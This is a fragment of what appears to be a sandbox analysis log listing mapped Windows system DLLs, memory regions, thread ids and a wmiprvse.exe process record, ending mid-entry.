region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 1627 start_va = 0x7fefc180000 end_va = 0x7fefc2abfff monitored = 0 entry_point = 0x7fefc1894bc region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 1628 start_va = 0x7fefc2b0000 end_va = 0x7fefc2ccfff monitored = 0 entry_point = 0x7fefc2b1ef4 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 1629 start_va = 0x7fefc300000 end_va = 0x7fefc4f3fff monitored = 0 entry_point = 0x7fefc48c924 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 1630 start_va = 0x7fefc990000 end_va = 0x7fefc99bfff monitored = 0 entry_point = 0x7fefc991064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 1631 start_va = 0x7fefc9a0000 end_va = 0x7fefca5afff monitored = 0 entry_point = 0x7fefc9a6de0 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 1632 start_va = 0x7fefca60000 end_va = 0x7fefca66fff monitored = 0 entry_point = 0x7fefca614b0 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 1633 start_va = 0x7fefcb50000 end_va = 0x7fefcb6afff monitored = 0 entry_point = 0x7fefcb52068 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 1634 start_va = 0x7fefcb70000 end_va = 0x7fefcb8dfff monitored = 0 entry_point = 0x7fefcb713b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1635 start_va = 0x7fefcb90000 end_va = 0x7fefcba1fff monitored = 0 entry_point = 0x7fefcb91060 region_type = mapped_file name = "devrtl.dll" filename = "\\Windows\\System32\\devrtl.dll" (normalized: "c:\\windows\\system32\\devrtl.dll") Region: id = 1636 start_va = 0x7fefcbb0000 end_va = 0x7fefcbcefff monitored = 0 entry_point = 0x7fefcbb5c68 region_type = mapped_file name = "spinf.dll" filename = "\\Windows\\System32\\SPInf.dll" (normalized: "c:\\windows\\system32\\spinf.dll") Region: id = 1637 start_va = 0x7fefcc80000 end_va = 0x7fefccb8fff monitored = 0 entry_point = 0x7fefcc8c0f0 region_type = mapped_file name = "ubpm.dll" filename = "\\Windows\\System32\\ubpm.dll" (normalized: "c:\\windows\\system32\\ubpm.dll") Region: id = 1638 start_va = 0x7fefccc0000 end_va = 0x7fefccc9fff monitored = 0 entry_point = 0x7fefccc3cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 1639 start_va = 0x7fefccd0000 end_va = 0x7fefccdcfff monitored = 0 entry_point = 0x7fefccd1348 region_type = mapped_file name = "pcwum.dll" filename = "\\Windows\\System32\\pcwum.dll" (normalized: "c:\\windows\\system32\\pcwum.dll") Region: id = 1640 start_va = 0x7fefcdc0000 end_va = 0x7fefce06fff monitored = 0 entry_point = 0x7fefcdc1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1641 start_va = 0x7fefceb0000 end_va = 0x7fefcedffff monitored = 0 entry_point = 0x7fefceb194c region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 1642 start_va = 0x7fefcee0000 end_va = 0x7fefcf3afff monitored = 0 entry_point = 0x7fefcee6940 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 1643 start_va = 0x7fefd050000 end_va = 0x7fefd056fff monitored = 0 entry_point = 0x7fefd05142c region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 1644 start_va = 0x7fefd060000 end_va = 0x7fefd0b4fff monitored = 0 entry_point = 0x7fefd061054 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 1645 start_va = 0x7fefd0c0000 end_va = 0x7fefd0d7fff monitored = 0 entry_point = 0x7fefd0c3b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1646 start_va = 0x7fefd1d0000 end_va = 0x7fefd201fff monitored = 0 entry_point = 0x7fefd1d144c region_type = mapped_file name = "netjoin.dll" filename = "\\Windows\\System32\\netjoin.dll" (normalized: "c:\\windows\\system32\\netjoin.dll") Region: id = 1647 start_va = 0x7fefd210000 end_va = 0x7fefd217fff monitored = 0 entry_point = 0x7fefd212a6c region_type = mapped_file name = "wmsgapi.dll" filename = "\\Windows\\System32\\wmsgapi.dll" (normalized: "c:\\windows\\system32\\wmsgapi.dll") Region: id = 1648 start_va = 0x7fefd220000 end_va = 0x7fefd229fff monitored = 0 entry_point = 0x7fefd223b40 region_type = mapped_file name = "sysntfy.dll" filename = "\\Windows\\System32\\sysntfy.dll" (normalized: "c:\\windows\\system32\\sysntfy.dll") Region: id = 1649 start_va = 0x7fefd230000 end_va = 0x7fefd251fff monitored = 0 entry_point = 0x7fefd235d30 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 1650 start_va = 0x7fefd2b0000 end_va = 0x7fefd2defff monitored = 0 entry_point = 0x7fefd2b1064 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 1651 start_va = 0x7fefd2f0000 end_va = 0x7fefd35cfff monitored = 0 entry_point = 0x7fefd2f1010 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 1652 start_va = 0x7fefd360000 end_va = 0x7fefd373fff monitored = 0 entry_point = 0x7fefd364160 region_type = mapped_file name = "cryptdll.dll" filename = "\\Windows\\System32\\cryptdll.dll" (normalized: "c:\\windows\\system32\\cryptdll.dll") Region: id = 1653 start_va = 0x7fefd5c0000 end_va = 0x7fefd5e2fff monitored = 0 entry_point = 0x7fefd5c1198 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 1654 start_va = 0x7fefd660000 end_va = 0x7fefd66afff monitored = 0 entry_point = 0x7fefd661030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 1655 start_va = 0x7fefd690000 end_va = 0x7fefd6b4fff monitored = 0 entry_point = 0x7fefd699658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1656 start_va = 0x7fefd6c0000 end_va = 0x7fefd6cefff monitored = 0 entry_point = 0x7fefd6c1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1657 start_va = 0x7fefd6d0000 end_va = 0x7fefd760fff monitored = 0 entry_point = 0x7fefd6d1440 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 1658 start_va = 0x7fefd770000 end_va = 0x7fefd7acfff monitored = 0 entry_point = 0x7fefd7718f4 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 1659 start_va = 0x7fefd7b0000 end_va = 0x7fefd7c3fff monitored = 0 entry_point = 0x7fefd7b10e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 1660 start_va = 0x7fefd7d0000 end_va = 0x7fefd7defff monitored = 0 entry_point = 0x7fefd7d19b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1661 start_va = 0x7fefd870000 end_va = 0x7fefd87efff monitored = 0 entry_point = 0x7fefd871020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 1662 start_va = 0x7fefd920000 end_va = 0x7fefd98bfff monitored = 0 entry_point = 0x7fefd922780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1663 start_va = 0x7fefd990000 end_va = 0x7fefd9a9fff monitored = 0 entry_point = 0x7fefd991558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 1664 start_va = 0x7fefd9b0000 end_va = 0x7fefd9e5fff monitored = 0 entry_point = 0x7fefd9b1474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1665 start_va = 0x7fefd9f0000 end_va = 0x7fefda2afff monitored = 0 entry_point = 0x7fefd9f1324 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 1666 start_va = 0x7fefda30000 end_va = 0x7fefdb9cfff monitored = 0 entry_point = 0x7fefda310b4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 1667 start_va = 0x7fefde50000 end_va = 0x7fefdee8fff monitored = 0 entry_point = 0x7fefde51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1668 start_va = 0x7fefdef0000 end_va = 0x7fefdf0efff monitored = 0 entry_point = 0x7fefdef60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1669 start_va = 0x7fefdf10000 end_va = 0x7fefe112fff monitored = 0 entry_point = 0x7fefdf33330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1670 start_va = 0x7fefe120000 end_va = 0x7fefe1e8fff monitored = 0 entry_point = 0x7fefe19a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1671 start_va = 0x7fefe1f0000 end_va = 0x7fefef77fff monitored = 0 entry_point = 0x7fefe26cebc region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 1672 start_va = 0x7fefef80000 end_va = 0x7fefef8dfff monitored = 0 entry_point = 0x7fefef81080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1673 start_va = 0x7fefef90000 end_va = 0x7feff166fff monitored = 0 entry_point = 0x7fefef91010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 1674 start_va = 0x7feff3d0000 end_va = 0x7feff4d8fff monitored = 0 entry_point = 0x7feff3d1064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1675 start_va = 0x7feff4e0000 end_va = 0x7feff531fff monitored = 0 entry_point = 0x7feff4e10d4 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 1676 start_va = 0x7feff540000 end_va = 0x7feff547fff monitored = 0 entry_point = 0x7feff541504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1677 start_va = 0x7feff550000 end_va = 0x7feff626fff monitored = 0 entry_point = 0x7feff553274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1678 start_va = 0x7feff630000 end_va = 0x7feff6a0fff monitored = 0 entry_point = 0x7feff641e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1679 start_va = 0x7feff7d0000 end_va = 0x7feff86efff monitored = 0 entry_point = 0x7feff7d25a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1680 start_va = 0x7feff870000 end_va = 0x7feff94afff monitored = 0 entry_point = 0x7feff890760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1681 start_va = 0x7feff950000 end_va = 0x7feff97dfff monitored = 0 entry_point = 0x7feff951010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1682 start_va = 0x7feff980000 end_va = 0x7feff9e6fff monitored = 0 entry_point = 0x7feff98b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1683 start_va = 0x7feffa10000 end_va = 0x7feffa5cfff monitored = 0 entry_point = 0x7feffa11070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1684 start_va = 0x7feffa60000 end_va = 0x7feffb8cfff monitored = 0 entry_point = 0x7feffaaed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1685 start_va = 0x7feffba0000 end_va = 0x7feffba0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1686 start_va = 0x7fffff60000 end_va = 0x7fffff61fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff60000" filename = "" Region: id = 1687 start_va = 0x7fffff62000 end_va = 0x7fffff63fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff62000" filename = "" Region: id = 1688 start_va = 0x7fffff68000 end_va = 0x7fffff69fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff68000" filename = "" Region: id = 1689 start_va = 0x7fffff6c000 end_va = 0x7fffff6dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff6c000" filename = "" Region: id = 1690 start_va = 0x7fffff6e000 end_va = 0x7fffff6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff6e000" filename = "" Region: id = 1691 start_va = 0x7fffff70000 end_va = 0x7fffff71fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff70000" filename = "" Region: id = 1692 start_va = 0x7fffff72000 end_va = 0x7fffff73fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff72000" filename = "" Region: id = 1693 start_va = 0x7fffff74000 end_va = 0x7fffff75fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff74000" filename = "" Region: id = 1694 start_va = 0x7fffff76000 end_va = 0x7fffff77fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff76000" filename = "" Region: id = 1695 start_va = 0x7fffff78000 end_va = 0x7fffff79fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff78000" filename = "" Region: id = 1696 start_va = 0x7fffff7c000 end_va = 0x7fffff7dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff7c000" filename = "" Region: id = 1697 start_va = 0x7fffff7e000 end_va = 0x7fffff7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff7e000" filename = "" Region: id = 1698 start_va = 0x7fffff80000 end_va = 0x7fffff81fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff80000" filename = "" Region: id = 1699 start_va = 0x7fffff82000 end_va = 0x7fffff83fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff82000" filename = "" Region: id = 1700 start_va = 0x7fffff84000 end_va = 0x7fffff85fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff84000" filename = "" Region: id = 1701 start_va = 0x7fffff86000 end_va = 0x7fffff87fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff86000" filename = "" Region: id = 1702 start_va = 0x7fffff88000 end_va = 0x7fffff89fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff88000" filename = "" Region: id = 1703 start_va = 0x7fffff8a000 end_va = 0x7fffff8bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff8a000" filename = "" Region: id = 1704 start_va = 0x7fffff8c000 end_va = 0x7fffff8dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff8c000" filename = "" Region: id = 1705 start_va = 0x7fffff8e000 end_va = 0x7fffff8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff8e000" filename = "" Region: id = 1706 start_va = 0x7fffff90000 end_va = 0x7fffff91fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff90000" filename = "" Region: id = 1707 start_va = 0x7fffff92000 end_va = 0x7fffff93fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff92000" filename = "" Region: id = 1708 start_va = 0x7fffff94000 end_va = 0x7fffff95fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 1709 start_va = 0x7fffff96000 end_va = 0x7fffff97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 1710 start_va = 0x7fffff98000 end_va = 0x7fffff99fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 1711 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 1712 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 1713 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 1714 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 1715 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 1716 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 1717 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 1718 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 1719 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 1720 start_va = 0x7fffffac000 end_va = 0x7fffffadfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 1721 start_va = 0x7fffffae000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 1722 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1723 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 1724 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 1725 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 1726 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 1727 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 1728 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 1729 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 2775 start_va = 0xf60000 end_va = 0xfdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f60000" filename = "" Region: id = 2779 start_va = 0x32e0000 end_va = 0x335ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000032e0000" filename = "" Region: id = 2780 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 2783 start_va = 0xf60000 end_va = 0xfdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f60000" filename = "" Region: id = 2784 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Thread: id = 15 os_tid = 0xfa8 Thread: id = 16 os_tid = 0xf08 Thread: id = 17 os_tid = 0xf00 Thread: id = 18 os_tid = 0xcfc Thread: id = 19 os_tid = 0x64 Thread: id = 20 os_tid = 0x51c Thread: id = 21 os_tid = 0x728 Thread: id = 22 os_tid = 0x630 Thread: id = 23 os_tid = 0x4c8 Thread: id = 24 os_tid = 0x118 Thread: id = 25 os_tid = 0x260 Thread: id = 26 os_tid = 0x660 Thread: id = 27 os_tid = 0x4a8 Thread: id = 28 os_tid = 0x228 Thread: id = 29 os_tid = 0x24c Thread: id = 30 os_tid = 0x1f0 Thread: id = 31 os_tid = 0x720 Thread: id = 32 os_tid = 0x770 Thread: id = 33 os_tid = 0x670 Thread: id = 34 os_tid = 0x358 Thread: id = 35 os_tid = 0x42c Thread: id = 36 os_tid = 0x7b8 Thread: id = 37 os_tid = 0x700 Thread: id = 38 os_tid = 0x6cc Thread: id = 39 os_tid = 0x658 Thread: id = 40 os_tid = 0x634 Thread: id = 41 os_tid = 0x624 Thread: id = 42 os_tid = 0x5f8 Thread: id = 43 os_tid = 0x5e8 Thread: id = 44 os_tid = 0x460 Thread: id = 45 os_tid = 0x45c Thread: id = 46 os_tid = 0x150 Thread: id = 47 os_tid = 0x144 Thread: id = 48 os_tid = 0x458 Thread: id = 49 os_tid = 0x454 Thread: id = 50 os_tid = 0x44c Thread: id = 51 os_tid = 0x1cc Thread: id = 52 os_tid = 0x3f8 Thread: id = 53 os_tid = 0x3f0 Thread: id = 54 os_tid = 0x3e4 Thread: id = 55 os_tid = 0x38c Thread: id = 56 os_tid = 0x388 Thread: id = 57 os_tid = 0x384 Thread: id = 58 os_tid = 0x378 Thread: id = 59 os_tid = 0x370 Thread: id = 106 os_tid = 0xacc Thread: id = 107 os_tid = 0xad0 Thread: id = 109 os_tid = 0xae4 Thread: id = 112 os_tid = 0xb1c Process: id = "4" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x4ff96000" os_pid = "0xd04" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "3" os_parent_pid = "0x254" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:00072dad" [0xc000000f] Region: id = 1734 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1735 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 1736 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1737 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1738 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1739 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 1740 start_va = 0xd0000 end_va = 0xd4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\System32\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\user32.dll.mui") Region: id = 1741 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 1742 start_va = 0xf0000 end_va = 0x16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 1743 start_va = 0x170000 end_va = 0x26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 1744 start_va = 0x270000 end_va = 0x32ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 1745 start_va = 0x330000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 1746 start_va = 0x430000 end_va = 0x5b7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000430000" filename = "" Region: id = 1747 start_va = 0x5c0000 end_va = 0x5c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005c0000" filename = "" Region: id = 1748 start_va = 0x5d0000 end_va = 0x5d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 1749 start_va = 0x5e0000 end_va = 0x5ecfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\System32\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\setupapi.dll.mui") Region: id = 1750 start_va = 0x5f0000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 1751 start_va = 0x600000 end_va = 0x780fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000600000" filename = "" Region: id = 1752 start_va = 0x790000 end_va = 0xa5efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1753 start_va = 0xa60000 end_va = 0xa61fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a60000" filename = "" Region: id = 1754 start_va = 0xa80000 end_va = 0xa82fff monitored = 0 entry_point = 0x0 region_type = 